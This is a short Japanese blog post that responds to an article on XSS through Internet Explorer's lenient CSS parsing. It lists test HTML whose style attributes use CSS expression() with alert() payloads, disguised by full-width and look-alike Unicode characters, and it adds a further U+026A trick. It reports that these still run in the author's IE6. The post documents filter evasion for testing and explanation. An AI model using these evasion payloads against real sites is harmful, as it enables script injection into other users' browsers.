はせがわさんの記事です。
[柔軟すぎる]IEのCSS解釈で起こるXSS (1/3):教科書に載らないWebアプリケーションセキュリティ(3) - @IT
記事中では、(5) 全角文字、(6) 特定のUnicode文字、の2つは、Windows XP SP3のIE6では動作しなくなっていると書かれていますが、うちの会社と自宅のIE6*1ではなぜかいまだに動いてます。
試したのは下のHTML。HTTPヘッダでUTF-8を指定しています。
<!-- (1) 通常の表記 --> <p style="x:expression(alert(/1/))">1</p> <!-- (5) 全角文字 --> <p style="x:exp[0xEF][0xBD][0x92]ession(alert(/5-1/))">5-1</p> <p style="x:expression(alert(/5-2/))">5-2</p> <!-- (6) 特定のUnicode文字 --> <p style="x:exp[0xCA][0x80]ession(alert(/6-1/))">6-1</p> <p style="x:expʀession(alert(/6-2/))">6-2</p> <p style="x:exp\0280 ession(alert(/6-3/))">6-3</p>
これをIE6で表示すると、全てalertが動きます。
Windows Updateしてればいいんだと思っていたんですが、それだけじゃダメなんでしょうかね。それとも、何かの設定を自分で変えてしまったのか…。
(6)特定のUnicode文字 <div style="left:expRessioN( alert('xss') )"> (R は U+0280、N は U+0274 または U+207F が利用可能)
私が知っているのを1つ付け加えると、U+026Aは「i」と解釈されます。
<p style="x:expressɪon(alert(/6-4/))">6-4</p>